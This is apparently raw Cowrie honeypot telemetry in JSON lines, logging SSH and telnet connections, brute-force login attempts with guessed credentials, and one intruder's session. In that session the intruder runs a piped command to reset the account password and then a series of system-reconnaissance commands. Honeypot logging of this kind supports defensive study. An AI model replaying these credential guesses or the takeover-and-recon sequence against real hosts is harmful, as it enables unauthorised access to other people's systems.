{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:41.217293Z","src_ip":"43.128.86.117","session":"8f8d0f683af6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.116037607192993,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:41.460320Z","src_ip":"152.42.224.71","session":"02979e9e2b09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:42.457660Z","src_ip":"43.128.86.117","session":"8f8d0f683af6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:42.736074Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:42.739757Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:42.981347Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:43.492602Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@2023\\nz5MSow1ztvjM\\nz5MSow1ztvjM\"|passwd|bash","message":"CMD: echo -e \"admin@2023\\nz5MSow1ztvjM\\nz5MSow1ztvjM\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:43.495086Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:43.499232Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:43.502674Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/d9148d2a6d852139e7f0223f6e5ee69475cfc33d6d2839357fdcda6325c5c768","size":32,"shasum":"d9148d2a6d852139e7f0223f6e5ee69475cfc33d6d2839357fdcda6325c5c768","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/d9148d2a6d852139e7f0223f6e5ee69475cfc33d6d2839357fdcda6325c5c768 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:43.744451Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:44.267612Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@2023\\nz5MSow1ztvjM\\nz5MSow1ztvjM\\n\"|passwd","message":"CMD: echo \"admin@2023\\nz5MSow1ztvjM\\nz5MSow1ztvjM\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:44.271157Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/de87a46c4fc45968bac062105c5f4311d415578f0ea93765e9bca5066f67dac5","size":25,"shasum":"de87a46c4fc45968bac062105c5f4311d415578f0ea93765e9bca5066f67dac5","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/de87a46c4fc45968bac062105c5f4311d415578f0ea93765e9bca5066f67dac5 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:44.512419Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:45.090620Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:45.095311Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:45.340381Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:45.868036Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:45.871552Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57552,"dst_ip":"10.17.0.5","dst_port":23,"session":"b63e7dc95993","protocol":"telnet","message":"New connection: 152.42.224.71:57552 (10.17.0.5:23) [session: b63e7dc95993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:45.878825Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:46.113509Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:46.624882Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:46.627917Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:46.630950Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:46.873677Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:47.407463Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:47.410951Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:47.651400Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:48.165045Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:48.168273Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:48.408449Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:48.927378Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:48.930795Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:49.171288Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:49.693973Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:49.698629Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:49.942259Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:50.461715Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:50.464911Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:50.705099Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.28576993942261,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:51.104498Z","src_ip":"152.42.224.71","session":"05bdf6a771be","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:51.217421Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:51.220685Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:51.459933Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:51.979844Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:51.983121Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.324541330337524,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:52.173752Z","src_ip":"152.42.224.71","session":"d7734c4d17d7","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:52.223609Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":42292,"dst_ip":"159.203.135.109","dst_port":22,"session":"505f36be2824","protocol":"ssh","message":"New connection: 103.15.222.183:42292 (159.203.135.109:22) [session: 505f36be2824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:52.430494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:52.434600Z","src_ip":"103.15.222.183","session":"505f36be2824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:52.675888Z","src_ip":"103.15.222.183","session":"505f36be2824","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:52.745808Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:52.748759Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:52.988475Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12345","message":"login attempt [root/zaq12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:53.406988Z","src_ip":"103.15.222.183","session":"505f36be2824","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:53.512460Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:53.515794Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:53.756961Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:54.278692Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:54.281959Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:54.524300Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.3","message":"Connection lost after 20.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:54.529326Z","src_ip":"43.128.86.117","session":"7c8fb69b401b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:54.651276Z","src_ip":"103.15.222.183","session":"505f36be2824","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50326,"dst_ip":"10.17.0.5","dst_port":23,"session":"6700ce2180cd","protocol":"telnet","message":"New connection: 152.42.224.71:50326 (10.17.0.5:23) [session: 6700ce2180cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:11:57.364967Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50332,"dst_ip":"10.17.0.5","dst_port":23,"session":"49bf73ff8d97","protocol":"telnet","message":"New connection: 152.42.224.71:50332 (10.17.0.5:23) [session: 49bf73ff8d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:00.205122Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50342,"dst_ip":"10.17.0.5","dst_port":23,"session":"36db9c729a65","protocol":"telnet","message":"New connection: 152.42.224.71:50342 (10.17.0.5:23) [session: 36db9c729a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:02.195020Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":59832,"dst_ip":"159.203.135.109","dst_port":22,"session":"36f423918557","protocol":"ssh","message":"New connection: 103.149.28.157:59832 (159.203.135.109:22) [session: 36f423918557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:12:05.771984Z"}
